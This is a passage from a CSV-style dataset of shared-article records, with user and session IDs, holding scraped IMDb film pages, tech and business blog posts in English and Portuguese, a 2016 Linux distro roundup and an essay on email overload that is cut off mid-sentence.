and the door is already closed. See more "" Quotes [first lines] The Stranger : [voiceover] Way out west there was this fella... fella I wanna tell ya about. Fella by the name of Jeff Lebowski. At least that was the handle his loving parents gave him, but he never had much use for it himself. Mr. Lebowski, he called himself ""The Dude"". Now, ""Dude"" - that's a name no one would self-apply where I come from. But then there was a lot about the Dude that didn't make a whole lot of sense. And a lot about where he lived, likewise. But then again, maybe that's why I ... See more "" Crazy Credits Big Associate Editor.... Big Dave Diliberto See more "" Connections Referenced in Bros Before Hos (2013) See more "" Soundtracks Behave Yourself Written by Booker T. Jones , Steve Cropper , Al Jackson Jr. and Lewie Steinberg Performed by Booker T. & the M.G.s (as Booker T. & The MG's) Published by Irving Music, Inc. (BMI) Courtesy of Atlantic Recording Corp. By Arrangement with Warner Special Products See more "" Recent Posts",en
1461872260,CONTENT SHARED,-5997023418322622504,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt3296658/,Rams (2015),"28 wins & 7 nominations. See more awards "" Storyline In a secluded valley in Iceland, Gummi and Kiddi live side by side, tending to their sheep. Their ancestral sheep-stock is considered one of the country's best and the two brothers are repeatedly awarded for their prized rams who carry an ancient lineage. Although they share the land and a way of life, Gummi and Kiddi have not spoken to each other in four decades. When a lethal disease suddenly infects Kiddi's sheep, the entire valley comes under threat. The authorities decide to cull all the animals in the area to contain the outbreak. This is a near death sentence for the farmers, whose sheep are their main source of income, and many abandon their land. But Gummi and Kiddi don't give up so easily - and each brother tries to stave off the disaster in his own fashion: Kiddi by using his rifle and Gummi by using his wits. As the authorities close in the brothers will need to come together to save the special breed passed down for generations, and themselves, from extinction. Written by Netop Films Taglines: A Tragicomedy about brothers who haven't spoken in four decades Details Release Date: 28 May 2015 (Iceland) Also Known As: Carneros: La historia de dos hermanos y ocho ovejas Box Office Budget: €1,750,000 (estimated) Opening Weekend: $13,289 (USA) (5 February 2016) Gross: Company Credits Technical Specs See full technical specs "" Did You Know? Trivia In France, where ARP Selection is distributing, the movie has been thriving at the box office. See more "" Crazy Credits The sheep are credited as actors. See more "" Connections Referenced in Film '72: Episode #45.3 (2016) See more "" User Reviews",en
1461872415,CONTENT SHARED,6240076106289531207,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt0043014/,Sunset Blvd. (1950),"Storyline The story, set in '50s Hollywood, focuses on Norma Desmond, a silent-screen goddess whose pathetic belief in her own indestructibility has turned her into a demented recluse. The crumbling Sunset Boulevard mansion where she lives with only her butler, Max who was once her director and husband has become her self-contained world. Norma dreams of a comeback to pictures and she begins a relationship with Joe Gillis, a small-time writer who becomes her lover, that will soon end with murder and total madness. Written by alfiehitchie Taglines: A HOLLYWOOD STORY: Sensational...Daring...Unforgettable...Sunset Blvd. Details Release Date: 29 September 1950 (Australia) Also Known As: A Can of Beans Box Office Budget: $1,752,000 (estimated) Company Credits Technical Specs Runtime: Sound Mix: Mono (Western Electric Recording) See full technical specs "" Did You Know? Goofs When Joe Gillis gets out of the pool and Norma offers to dry him off, several crewmembers as well as lighting, microphones, and other equipment, are reflected in Norma's large, dark sunglasses. See more "" Quotes [first lines] : Yes, this is Sunset Blvd., Los Angeles, California. It's about 5 0'clock in the morning. That's the homicide squad, complete with detectives and newspaper men. See more "" Crazy Credits The Paramount logo appears as a transparency over the opening shot. The words ""Sunset Blvd."" are shown stenciled on the curb of that street. See more "" Connections References Waxworks (1924) See more "" Soundtracks The Paramount-Don't-Want-Me Blues (1950) (uncredited) Written by Jay Livingston and Ray Evans Performed by Jay Livingston and Ray Evans at Artie's party See more "" User Reviews Message Boards Recent Posts",en
1461872911,CONTENT SHARED,7000840123067725009,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt1255953/,Incendies (2010),"Top Rated Movies #153 | Nominated for 1 Oscar. Another 39 wins & 14 nominations. See more awards "" Storyline A mother's last wishes send twins Jeanne and Simon on a journey to the Middle East in search of their tangled roots. Adapted from Wajdi Mouawad's acclaimed play, Incendies tells the powerful and moving tale of two young adults' voyage to the core of deep-rooted hatred, never-ending wars and enduring love. Written by Mylène Chollet Taglines: The search began at the opening of their mother's will. Details Release Date: 12 January 2011 (France) Box Office Budget: $6,800,000 (estimated) Opening Weekend: $50,679 (USA) (22 April 2011) Gross: $6,857,096 (USA) (23 September 2011) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Although shot in Jordan, the Middle Eastern country in which the film takes place was deliberately left unnamed. Some viewers have noted the word ""Palestine"" visible on a window in Nawal's school, but the Christian-Muslim conflict would seem to imply the setting is Lebanon, the birthplace of playwright Wajdi Mouawad . See more "" Goofs Scenes set in Lebanon give away their real location by the cars with Jordanian number plates. See more "" Quotes [subtitled version] Notary Jean Lebel : [after making a promise] To a notary, Mr. Marwan, a promise is a sacred thing. See more "" Crazy Credits 'Mr. Leonard Cohen I need your help, please call me."" - Denis Villeneuve See more "" Soundtracks You and Whose Army? Written by Colin Greenwood (as Colin C. Greenwood), Jonny Greenwood (as Jonathan RG. Greenwood), Ed O'Brien (as Edward J. O'Brien), Phil Selway (as Philip J. Selway), and Thom Yorke (as Thomas E. Yorke) Performed by Radiohead See more "" User Reviews Message Boards Recent Posts",en
1461872961,CONTENT SHARED,-3750301395521973493,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt1924396/,The Best Offer (2013),"19 wins & 21 nominations. See more awards "" Storyline In the world of high-end art auctions and antiques, Virgil Oldman is an elderly and esteemed but eccentric genius art-expert, known and appreciated by the world. Oldman is hired by a solitary young heiress, Claire Ibbetson, to auction off the large collection of art and antiques left to her by her parents. For some reason, Claire always refuses to be seen in person. Robert aids Oldman in restoring and reassembling some odd mechanical parts he finds amongst Claire's belongings, while also giving him advice on how to befriend her and deal with his feelings towards her. Also a friend of Oldman, Billy Whistler helps him to acquire a secret private collection of master paintings. Written by Nebzyl Taglines: Some forgeries are worth the ultimate price. Details Release Date: 1 January 2014 (USA) Also Known As: The Best Offer Box Office Budget: €13,500,000 (estimated) Opening Weekend: $2,595 (USA) (3 January 2014) Gross: Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Certificate in Luxembourg: 6. See more "" Goofs As Virgil passes through the glass-pane door of Night and Day café almost at the end of the movie, there is a sticker on the glass pane of the door which read ""Pivnice U milosrdných"" - the original Czech name of that pub. See more "" Quotes Connections References The Blue Angel (1930) See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1461873423,CONTENT SHARED,-3336755617029300430,6644119361202586331,-6843233739951881888,,,,HTML,http://www.imdb.com/title/tt1375666/,Inception (2010),"Storyline Dom Cobb is a skilled thief, the absolute best in the dangerous art of extraction, stealing valuable secrets from deep within the subconscious during the dream state, when the mind is at its most vulnerable. Cobb's rare ability has made him a coveted player in this treacherous new world of corporate espionage, but it has also made him an international fugitive and cost him everything he has ever loved. Now Cobb is being offered a chance at redemption. One last job could give him his life back but only if he can accomplish the impossible - inception. Instead of the perfect heist, Cobb and his team of specialists have to pull off the reverse: their task is not to steal an idea but to plant one. If they succeed, it could be the perfect crime. But no amount of careful planning or expertise can prepare the team for the dangerous enemy that seems to predict their every move. An enemy that only Cobb could have seen coming. Written by Warner Bros. Pictures Taglines: Your mind is the scene of the crime Details Release Date: 16 July 2010 (USA) Also Known As: Inception: The IMAX Experience Box Office Budget: $160,000,000 (estimated) Opening Weekend: £5,912,814 (UK) (16 July 2010) Gross: $292,568,851 (USA) (31 December 2010) Company Credits Technical Specs See full technical specs "" Did You Know? Goofs After Fischer is drugged on the flight, the attendant walks over to retrieve the briefcase from a compartment, before she does so she closes the curtain but in subsequent shots the curtain is open. See more "" Quotes Crazy Credits There are no opening credits or titles. See more "" Soundtracks Aboun Salehoun Written by Youssef El Mejjad and Pat Jabbar Performed by Amira Saqati Courtesy of Barraka el Farnatshi Productions See more "" User Reviews Message Boards Recent Posts",en
1461877082,CONTENT SHARED,-4761420664091904483,-1032019229384696495,-1941773591979139720,,,,HTML,https://cloudplatform.googleblog.com/2016/04/now-playing-new-ISO-security-and-privacy-certifications-for-Google-Cloud-Platform.html,Now playing: New ISO security and privacy certifications for Google Cloud Platform,"Today, Google reiterated its commitment to the security needs of its enterprise customers with the addition of two new certificates to Google Cloud Platform : ISO27017 for cloud security and ISO27018 for privacy. We also renewed our ISO27001 certificate for the fourth year in a row. Google Cloud Platform services covered by these ISO certifications now include Cloud Dataflow , Cloud Bigtable , Container Engine , Cloud Dataproc and Container Registry . These join Compute Engine , App Engine , Cloud SQL , Cloud Storage , Cloud Datastore , BigQuery and Genomics on the list of services that will be regularly audited for these certificates. Certifications such as these provide independent third-party validations of our ongoing commitment to world-class security and privacy, while also helping our customers with their own compliance efforts. Google has spent years building one of the world's most advanced infrastructures, and as we make it available to enterprises worldwide, we want to offer more transparency on how we protect their data in the cloud. More information on Google Cloud Platform Compliance is available here .",en
1461879742,CONTENT SHARED,-6467708104873171151,-1032019229384696495,-1941773591979139720,,,,HTML,http://justcuriousblog.com/2016/04/5-reasons-your-employees-arent-sharing-their-knowledge/,5 reasons your employees aren't sharing their knowledge,"I rarely hear someone say ... WOW! We have so many people sharing on [insert name of enterprise platform]! Everyone's problems are getting solved so quickly nowadays! Instead, I hear plenty of ... We have [insert name of enterprise platform] at work, but no one really uses it ... What's going on? It's 2016! People like sharing online, right? I mean, look what happens in an internet minute nowadays ... 347,222 tweets are sent. 293,000 Facebook statuses are updated. 527,760 Snapchat photos are shared. 2,780,000 YouTube videos are viewed. If sharing as enabled by social technology has become a standard component of everyday life, why can't organizations take advantage of these behaviors and scale knowledge sharing in the workplace? For me, it comes down to a simple answer: its not the same . The technology may look familiar, and the desired behaviors may be similar. But, there are a few key considerations that most organizations ignore when attempting to generate shared organizational knowledge. It's by no means impossible ... It's just a lot more difficult than most people think. Here are 5 reasons your employees aren't sharing their workplace knowledge ... and a few things you can do about it ... #1 - Sharing tech isn't work tech ... When and where are you asking employees to share their knowledge? By WHEN, I'm referring to the expectation that sharing is actually part of the job - not an extra, nice-to-have task. Few organizations hold employees accountable for sharing their knowledge as a core responsibility and are therefore left with only the information from designated subject matter experts, communications teams and a few ""go-getters"" who derive personal value from such sharing. By WHERE, I'm referring to the technology component, often embodied by an intranet or enterprise social network (ESN). Yes, knowledge sharing is more about organizational culture than it is about technology, but right-fit technology must be applied to enable sharing at the speed and scale needed in the modern workplace. So, what tools do your employees need to use to do their jobs every day? Email? POS? SRM? Are your intranet or ESN ever part of that list? Employees may go to your SharePoint or Google Drive now and then to download a file, but these tools typically aren't getting their eyes every day like email and your SRM. Therefore, employees will be less inclined to contribute given minimal traffic time and value-add as part of their regular tasks. #2 - Networks require scale ... I'm admittedly not a Facebook fan. I'm more of a Twitter guy. So why am I still on Facebook? Well, that's where the crowd is. I have a feeling there are plenty of Facebook users with that same predicament. I've tried plenty of other social networks with similar capabilities, but I keep coming back to Facebook because that's where the people with whom I want to engage are sharing. The same is true at work. ESNs and intranets require a flow of constant user activity to deliver value to a single user. Would you stay on Facebook if your newsfeed was empty for a month? A week? A day? People share and consume content where they can engage with the desired audience at the moment of need. To solve problems quickly by leveraging the community, the community has to be there - all the time. Enterprise knowledge sharing rarely hits this necessary level of scale and utility and therefore cannot sustain value. #3 - Most sharing tech is transient ... What was that thing that person said on Facebook the other day? What group did they upload that file to? If you can't remember who said it or when they shared it, good luck finding it on a traditional social network. Newsfeed-oriented tools aren't built for long-term knowledge retention. They're inherently transient, showing users what's going on NOW within the network. This translates into the workplace with popular tools like Yammer. It's also the reason I'm not super-enthused by Facebook at Work. Most organizations introduce separate tools like SharePoint for long-term documentation. This establishes a disconnected knowledge experience for employees. They can share what they know over HERE, but the info they need on the job is over THERE. This model puts employees at a sharing disadvantage, as they are usually required to pass new knowledge through hierarchical channels to get it added to a formal document repository for long-term use. Too often, this privilege is limited to designated SMEs or senior managers - who are several steps removed from the employee/customer experience. Shared knowledge can't attain the scale and longevity necessary to become valuable to the community, and formal documentation processes cannot keep up with the pace of the modern workplace. #4 - Knowledge sharing requires just enough structure ... Have you tried to search your organization's intranet? Can you actually find what you need - quickly? Or are you stuck with PDFs and PowerPoint presentations from 7 years ago? The internet doesn't just organize itself. We have the teams from Google, YouTube and Wikipedia to thank for making the world's shared knowledge searchable. Unfortunately, most organizations don't apply a similar structured approach to internal knowledge sharing. Either people have no ability to share, or the gates are flung open and everyone can pile on however they'd like. This is why your SharePoint instance has become a jumbled mess of locked-down team sites and confusing file directories. Employees shouldn't just be expected to know how to effectively contribute their knowledge to the larger community. Every team shouldn't be granted permission to organize their small corner of shared knowledge however they see fit. Regardless of title or desire, most people just don't understand how to best structure knowledge sharing at an enterprise scale to meet the needs of individual employees. Therefore, they do what they know and install hierarchical folder structures organized by department and supported by rigid process with a dose of overarching ownership mentality. #5 - Why should they ...? It all comes down to motivation and culture. Frankly, if they aren't held accountable to it as part of their roles, why should employees share their knowledge? If the sharing experience isn't super simple - like it is in the real world - why should they dedicate the time? If they aren't likely to get any value back from other employees' sharing, why should they make the effort? If no one is going to recognize their contribution, why contribute? And if they aren't TRUSTED to do the right thing, why would they broadcast their work for everyone to pick apart? ""If you build it, he will come"" worked out pretty well for Kevin Costner, but it has never proven to be a solid strategy for knowledge sharing in the workplace. Difficult - but not impossible. Over the past few years, I've witnessed organizations get around these challenges and begin to realize true value from shared knowledge. Not just business value thanks to the improved ability to solve problems via the community but also cultural value derived from increased employee engagement. Remember - SMEs and formal documentation are a great start, but most of your organization's HOWs - the way the work really gets done every day - are locked in the minds of your employees. You NEED them to share so you can keep up with your competition and maximize your company's long-term potential. How have companies overcome these issues and helped their employees share their knowledge? Here are a few practical tips. Start with trust. As I already mentioned, knowledge sharing is more about culture than technology. Before getting started with strategy, assess the role trust plays in your organization and take steps to address any related issues. Move knowledge sharing closer to the workflow. Help employees talk about the work ON the work. Select technology and enable processes that merge sharing with on-the-job information reference in a single seamless experience. Select right-fit technology. Search is the killer app when it comes to shared knowledge. Leverage technology that looks and feels like Wikipedia, YouTube and other prevalent real-world sharing tools. Provide just enough support. Don't just install technology and process. Find the people in your organization who understand enterprise knowledge sharing - regardless of formal role or past experience - and give them the keys (and the accountability). Make it about their peers. I have come to realize that employees are almost always more willing to share when the act is positioned as a way to help their coworkers, not just the organization or customers - who also benefit anyway. Recognize contribution. Not only should sharing be a core component of their roles, but employees should also be continuously recognized for the value they are contributing through shared knowledge. This could be as simple as mentioning key contributors during group meetings or take on a more strategic form with the use of integrated game mechanic, such as leaderboards, badges, and redeemable points. Get the managers to do it too . This isn't just about frontline employees sharing what they know. Managers must leverage the same behaviors for consuming and sharing knowledge for their own benefit and to reinforce the desired behaviors for their teams. Are you seeing similar challenges in your organization? Have you found ways to motivate your employees to share their knowledge? What technology have you found most helpful when trying to generate and organize shared knowledge?",en
1461883935,CONTENT SHARED,2817960273225808857,-8123627990288459252,-7867930179225348983,,,,HTML,http://exame.abril.com.br/negocios/noticias/johnson-johnson-compra-lider-global-em-dermocosmeticos,Johnson & Johnson compra líder global em dermocosméticos | EXAME.com,"São Paulo - A Johnson & Johnson Consumo comprou a empresa NeoStrata, uma das maiores empresas de dermocosméticos do mundo. A aquisição inclui as afiliadas da NeoStrata e sua empresa controladora TriStrata, de capital fechado. Os valores não foram divulgados. Com sede em Princeton, a NeoStrata é conhecida por pesquisas sobre os ácidos Alfa Hidroxi, base de uma das tecnologias antienvelhecimento mais usadas em produtos de beleza no mundo. A empresa foi fundada em 1988 pelos médicos Ruey Yu e Eugene Van Scott e ainda é sediada nos Estados Unidos. Com a parte de inovação da empresa adquirida, a Johnson & Johnson pretende engrossar seu portfólio de produtos para cuidados com a pele ofertados em todo o mundo. O valor da aquisição , que deve ser concluída no segundo semestre, não foi divulgado.",pt
1461885329,CONTENT SHARED,-2766592729910903198,8420481937548705787,-8912453335847950473,,,,HTML,https://www.linkedin.com/pulse/como-%C3%A9-o-relacionamento-do-cmo-e-cio-na-sua-empresa-toussaint,Como é o relacionamento do CMO e do CIO na sua empresa?,"Sabe aquela velha premonição do Gartner (falo premonição por que acho que todos os estudos de tendências tem um pouco de achismo) de que em 2017 o Marketing irá gastar mais em tecnologia do que TI? Como isso pode afetar o relacionamento do Marketing com TI, e o que isso tem a ver comigo? Em primeiro lugar, Marketing tem visto mais e mais suas atividades migrarem para o digital. Mídia programática, social, data management. Estas atividades estão calcadas em uma base tecnológica que fez empresas como Oracle, Salesforce, Adobe, IBM e SAP buscarem se especializar, através de aquisições, em um portfólio de marketing, falando com o CMO, ao invés da tradicional oferta ao CIO. Outra grande mudança está na evolução de como cada área investe. Uma venda para o CIO era (ou ainda é) encarada como CAPEX, ou despesas de capital, como compra de servidores e softwares para rodar programas em seus datacenters. Uma venda para o CMO é vista como OPEX, ou despesa operacional, e pode ser justificada de forma muito mais simplificada pois não envolve depreciação, cálculos de ativos, etc. Ou seja, a assinatura é mais rápida. Porém em tempos de crise, onde o famoso Orçamento Zero está virando quase que uma lei de sobrevivência nas empresas, demanda um estudo de ROI de custo a médio prazo na adoção de novas tecnologias. Somado a complexidade do mercado de marketing digital, que dobra a cada ano (em número de players oferecendo soluções ao CMO), temos o seguinte cenário: Muita tecnologia ofertada, com planos e análises a serem feitas em tempo recorde, e vemos que isso esta gerando uma demanda a mais ao CIO, de avaliação técnica da solução, para depois ser adotada pelo marketing. Porém TI não está relegada a avaliar tecnologias, mas sim a ser o guardião das empresas ao que concerne sistemas, processos e tecnologias. Visto que a maioria das novas tecnologias é ofertada na nuvem, temos mais um fator a ser considerado: segurança, disponibilidade e impacto nos negócios.Diante deste cenário defendo que cada projeto de marketing digital seja discutido com igual peso entre o CIO e o CMO. Pois cada vez mais as integrações serão mais intensas, e o acesso aos dados serão mais constantes. Isso beneficia todas as partes envolvidas: O CIO é visto de uma forma mais estratégica, como o guardião dos dados da empresa. O CMO é visto como o articulador e que justifica o investimento. E as empresas de Martech (Marketing + Tecnologia) são vistas mais como parceiros estratégicos do que meros fornecedores. Esta mudança esta sendo feita de forma gradual. Muitas empresas de ponta não permitem que seus dados vão para a nuvem simplesmente por que não entendem a nuvem. Muitos CMOs consideram o CIO apenas um gargalo, e por isso contratam as tecnologias para apoia-los sem nenhum compromisso com a empresa como um todo, olhando apenas para seu departamento. Portanto, na próxima reunião de board, divida seus desafios com seus pares. E olhe para as empresas de tecnologia como parceiros de longo prazo e não apenas fornecedores. Assim, todos ganham. Guilherme Toussaint trabalha com tecnologia para marketing a mais de 15 anos, ajudando empresas a gerir melhor os seus dados.",pt
1461889633,CONTENT SHARED,1286723199785027310,-1443636648652872475,-7777675406803857155,,,,HTML,http://lifehacker.com/the-skills-youll-need-and-the-salary-you-can-expect-as-1773345676,The Skills You'll Need and the Salary You Can Expect as a Data Scientist,"Data science is a growing career field that pays well. If you are interested in programming, math, and/or statistics, this career could be perfect for you. There are, however, three different data science roles for you to consider. Springboard explains that data science teams solve data problems, such as building a statistical model to predict sales: Data scientists are the bridge between the programming and implementation of data science, the theory of data science, and the business implications of data. data engineers[ ...] rely mostly on their software engineering experience to handle large amounts of data at scale. These are versatile generalists who use computer science to help process large datasets. They typically focus on coding, cleaning up data sets, and implementing requests that come from data scientists. Lastly, there are data analysts who look through the data and provide reports and visualizations to explain what insights the data is hiding. All three are interesting careers that require some math know-how, particularly understanding algorithms, in addition to software engineering and communication skills, depending on the role. The graphic below sums up the data science career field, but you can also head to Springboard to get a free 70-page guide to these careers if you're interested in learning more. Data Science Career Paths: Different Roles in the Industry | Springboard",en
1461893850,CONTENT SHARED,2280365999288629014,3891637997717104548,-7920053441420858215,,,,HTML,https://www.linux.com/news/best-linux-distros-2016,The Best Linux Distros of 2016,"2015 was a very important year for Linux, both in the enterprise as well as in the consumer space. As a Linux user since 2005, I can see that the operating system has come a long way in the past 10 years. And, 2016 is going to be even more exciting . In this article, I have picked some of the best distros that will shine in 2016. Best Comeback Distro: openSUSE SUSE, the company behind openSUSE, is the oldest Linux company; it was formed just a year after Linus Torvalds announced Linux. The company actually predates Linux king Red Hat. SUSE is also the sponsor of the community-based distro openSUSE . In 2015, openSUSE teams decided to come closer to SUSE Linux Enterprise (SLE) so that users could have a distribution that shares its DNA with the enterprise server -- similar to CentOS and Ubuntu. Thus, openSUSE became openSUSE Leap , a distribution that's directly based on SLE SP (service pack) 1. The two distros will share the code base to benefit each other -- SUSE will take what's good in openSUSE and vice versa. With this move, openSUSE is also ditching the regular release cycle, and a new version will be released in sync with SLE. That means each version will have a much longer life cycle. As a result of this move, openSUSE has become a very important distribution because potential SLE users can now use openSUSE Leap. That's not all, however; openSUSE also announced the release of Tumbleweed, a pure rolling-release version. So, now, users can use either the super-stable openSUSE Leap or the always up-to-date openSUSE Tumbleweed. No other distro has made such an impressive comeback in my memory. Most Customizable Distro: Arch Linux Arch Linux is the best rolling-release distribution out there. Period. Ok, I could be biased because I am an Arch Linux user. However, the reason behind my claim is that Arch excels in many other areas, too, and that's why I use it as my main operating system. Arch Linux is a great distro for those who want to learn everything about Linux. Because you have to install everything manually, you learn all the bits and pieces of a Linux-based operating system. Arch is the most customizable distribution. There is no ""Arch"" flavor of any DE. All you get is a foundation and you can build whatever distro want, on top of it. For good or for worse, unlike openSUSE or Ubuntu there is no extra patching or integration. You get what upstream developers created. Period. Arch Linux is also one of the best rolling releases. It's always updated. Users always run the latest packages, and they can also run pre-released software through unstable repositories. Arch is also known for having excellent documentation. Arch Wiki is my to-go resource for everything Linux related. What I like the most about Arch is that is offers almost every package and software that's available for ""any"" Linux distribution, thanks to the Arch User Repository, aka AUR. Best-Looking Distro: elementary OS Different Linux distributions have different focus areas -- in most cases, these are technical differences. In many Linux distributions. the look and feel is an afterthought -- a side project at the mercy of the specific desktop environment. elementary OS is trying to change all that. Here, design is at the forefront, and the reason is quite obvious. The distro is being developed by designers who have made their name in the Linux world by creating beautiful icons. elementary OS is quite strict about the holistic look and feel. The developers have created their own components, including the desktop environment. Additionally, they choose only those applications that fit into the design paradigm. One can find heavy influence of Mac OS X on elementary OS. Best Newcomer: Solus Solus operating system has garnered quite a lot of attention lately. It's a decent-looking operating system that has been created from scratch. It's not a derivative of Debian or Ubuntu. It comes with the Budgie desktop environment, which was built from scratch but aims to integrate with Gnome. Solus has the same minimalistic approach as Google's Chrome OS. I have not played with Solus much, but it does look promising. Solus is actually not a ""new"" OS. It has been around for a while in different forms and names. But the entire project was revived back in 2015 under this new name. Best Cloud OS: Chrome OS Chrome OS may not be your typical Linux-based distribution because it's a browser-based operating system for online activities. However, because it's based on Linux and its source code is available for anyone to compile, it's an attractive OS. I use Chrome OS on a daily basis. It's an excellent, maintenance-free, always updated OS for anyone using a computer purely for web-related activities. Chrome OS, along with Android, deserves all the credit for making Linux popular in the PC and mobile space. Best Laptop OS: Ubuntu MATE Most laptops don't have very high-end hardware, and if you are running a really resource-intensive desktop environment then you won't have much system resources or battery life at your disposal -- they will be used by the OS itself. That's where I found Ubuntu MATE to be an excellent operating system. It's lightweight, yet has all the bells and whistles needed for a pleasant experience. Thanks to its lightweight design, the majority of system resources are free for applications so you can still do some heavy work on it. I also found it to be a great distro on really low-end systems. Best Distro for Old Hardware: Lubuntu If you have an old laptop or PC sitting around, breathe new life into it with Lubuntu . Lubuntu uses LXDE, but the project has merged with Razor Qt to create LXQt. Although the latest release 15.04 is still using LXDE, the future versions will be using LXQt. Lubuntu is a decent operating system for old hardware. Best Distro for IoT: Snappy Ubuntu Core Snappy Ubuntu Core is the best Linux-based operating system out there for Internet of Things (IoT) and other such devices. The operating system holds great potential to turn almost everything around us into smart devices -- such as routers, coffeemakers, drones, etc. What makes it even more interesting is the way the software manages updates and offers containerization for added security. Best Distro for Desktops: Linux Mint Cinnamon Linux Mint Cinnamon is the best operating system for desktops and powerful laptops. I will go as far as calling it the Mac OS X of the Linux world. Honestly, I had not been a huge fan of Linux Mint for a long time because of unstable Cinnamon. But, as soon as the developers chose to use LTS as the base, the distro has become incredibly stable. Because the developers don't have to spend much time worrying about keeping up with Ubuntu, they are now investing all of their time in making Cinnamon better. Best Distro for Games: Steam OS Gaming has been a weakness of desktop Linux. Many users dual-boot with Windows just to be able to play games. Valve Software is trying to change that. Valve is a game distributor that offers a client to run games on different platforms. And, Valve has now created their open operating system -- Steam OS -- to create a Linux-based gaming platform. By the end of 2015, partners started shipping Steam machines to the market. Best Distro for Privacy: Tails In this age of mass surveillance and tracking by marketers (anonymous tracking for targeted content is acceptable), privacy has become a major issue. If you are someone who needs to keep the government and marketing agencies out of your business, you need an operating system that's created -- from the ground up -- with privacy in mind. And, nothing beats Tails for this purpose. It's a Debian-based distribution that offers privacy and anonymity by design. Tails is so good that, according to reports, the NSA considers it a major threat to their mission. Best Distro for Multimedia Production: Ubuntu Studio Multimedia production is one of the major weaknesses of Linux-based operating systems. All the professional-grade applications are available for either Windows or Mac OS X. There is no dearth of decent audio/video production software for Linux, but a multimedia production system needs more than just decent applications. It should use a lightweight desktop environment so that precious system resources -- such as CPU and RAM -- are used sparingly by the system itself, leaving them for the multimedia applications. And, the best Linux distribution for multimedia production is Ubuntu Studio . It uses Xfce and comes with a broad range of audio, video, and image editing applications. Best Enterprise Distro: SLE/RHEL Enterprise customers don't look for articles like these to choose a distribution to run on their servers. They already know where to go: It's either Red Hat Enterprise Linux or SUSE Linux Enterprise . These two names have become synonymous with enterprise servers. These companies are also pushing boundaries by innovating in this changing landscape where everything is containerized and becoming software defined. Best Server OS: Debian/CentOS If you are looking at running a server, but you can't afford or don't want to pay a subscription fee for RHEL or SLE, then there is nothing better than Debian or CentOS . These distributions are the gold standard when it comes to community-based servers. And, they are supported for a very long time, so you won't have to worry about upgrading your system so often. Best Mobile OS: Plasma Mobile Although the Linux-based distribution Android is ruling the roost, many in the open source community, including me, still desire a distribution that offers traditional Linux desktop apps on mobile devices. At the same time, it's better if the distro is run by a community instead of a company so that a user remains in the focus and not the company's financial goals. And that's where KDE's Plasma Mobile brings some hope. This Kubuntu-based distribution was launched in 2015. Because the KDE community is known for their adherence to standards and developing stuff in public, I am quite excited about the future of Plasma Mobile. Best Distro for ARM Devices: Arch Linux ARM With the success of Android, we are now surrounded by ARM-powered devices -- from Raspberry Pi to Chromebook and Nvidia Shield. The traditional distros written for Intel/AMD processors won't run on these systems. Some distributions are aimed at ARM, but they are mostly for specific hardware only, such as Raspbian for Raspberry Pi. That's where Arch Linux ARM (ALARM) shines. It's a purely community-based distribution that's based on Arch Linux. You can run it on Raspberry Pi, Chromebooks, Android devices, Nvidia Shield, and what not. What makes this distribution even more interesting is that, thanks to the Arch User Repository (AUR), you can install many applications than you may not get on other distributions. Conclusion I was astonished and amazed when I worked on this story. It's very exciting to see that there is something for everyone in the Linux world. It doesn't matter if the year of the desktop Linux never arrives. We are happy with our Linux moments!",en
1461922265,CONTENT SHARED,1595230810451459837,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.androidpolice.com/2016/04/28/event-map-google-io-2016-released/,Event Map For Google I/O 2016 Released,"Probably the biggest event on the Android calendar is Google I/O , and it's just around the corner, running from the 18th of May to the 20th. This year's event will be held at the Shoreline Amphitheater in Mountain View , where the first Google I/O event took place in 2008, rather than the usual Moscone Center in San Francisco. There has been much speculation as to what this will look like. This is, after all, relatively new territory for the company. But thanks to a custom map released by Google, and built using Google Maps's MyMaps feature, we now have an idea. Google plans to convert a large section of the car park into a set of ten stages , each named after a particular constellation such as Virgo, Ursa Minor, and Cassiopeia. The stages will be grouped into four different quadrants. In addition to the ten stages, there will also be a code lab and thirteen demo zones. As you might expect, the more prestigious keynote speeches and events will be taking place in the amphitheater proper. With the event taking place far away from San Francisco's excellent public transport system, the question remains as to how attendees will get to and from the event. That's especially relevant seeing as the majority of the parking spaces will used to host the conference. This, I imagine, will become clearer closer to the date.",en
1461932407,CONTENT SHARED,8120046881003900118,-108842214936804958,-4157765822841020873,,,,HTML,https://glyph.twistedmatrix.com/2016/04/email-isnt-the-problem.html,Email Isn't The Thing You're Bad At,"I've been using the Internet for a good 25 years now, and I've been lucky enough to have some perspective dating back farther than that. The common refrain for my entire tenure here: We all get too much email. A New, New, New, New Hope Luckily, something is always on the cusp of replacing email. AOL instant messenger will totally replace it. Then it was blogging. RSS. MySpace. Then it was FriendFeed. Then Twitter. Then Facebook. Today, it's in vogue to talk about how Slack is going to replace email. As someone who has seen this play out a dozen times now, let me give you a little spoiler: Slack is not going to replace email. But Slack isn't the problem here, either. It's just another communication tool. The problem of email overload is both ancient and persistent . If the problem were really with ""email"", then, presumably, one of the nine million email apps that dot the app-stores like mushrooms sprouting from a globe-spanning mycelium would have just solved it by now, and we could all move on with our lives. Instead, it is permanently in vogue to talk about how overloaded we all are. If not email, then what? If you have twenty-four thousand unread emails in your Inbox, like some kind of goddamn animal , what you're bad at is not email, it's transactional interactions . Different communication media have different characteristics, but the defining characteristic of email is that it is the primary mode of communication that we use, both professionally and personally, when we are asking someone else to perform a task. Of course you might use any form of communication to communicate tasks to another person. But other forms - especially the currently popular real-time methods - appear as a bi-directional communication, and are largely immutable. Email's distinguishing characteristic is that it is discrete ; each message is its own entity with its own ID. Emails may also be annotated , whether with flags, replied-to markers, labels, placement in folders, archiving, or deleting. Contrast this with a group chat in IRC, iMessage, or Slack, where the log is mostly unchangeable, and the only available annotation is ""did your scrollbar ever move down past this point""; each individual message has only one bit of associated information. Unless you have catlike reflexes and an unbelievably obsessive-compulsive personality, it is highly unlikely that you will carefully set the ""read"" flag on each and every message in an extended conversation. All this makes email much more suitable for communicating a task, because the recipient can file it according to their system for tracking tasks, come back to it later, and generally treat the message itself as an artifact. By contrast if I were to just walk up to you on the street and say ""hey can you do this for me"", you will almost certainly just forget . The word ""task"" might seem heavy-weight for some of the things that email is used for, but tasks come in all sizes. One task might be ""click this link to confirm your sign-up on this website"". Another might be ""choose a time to get together for 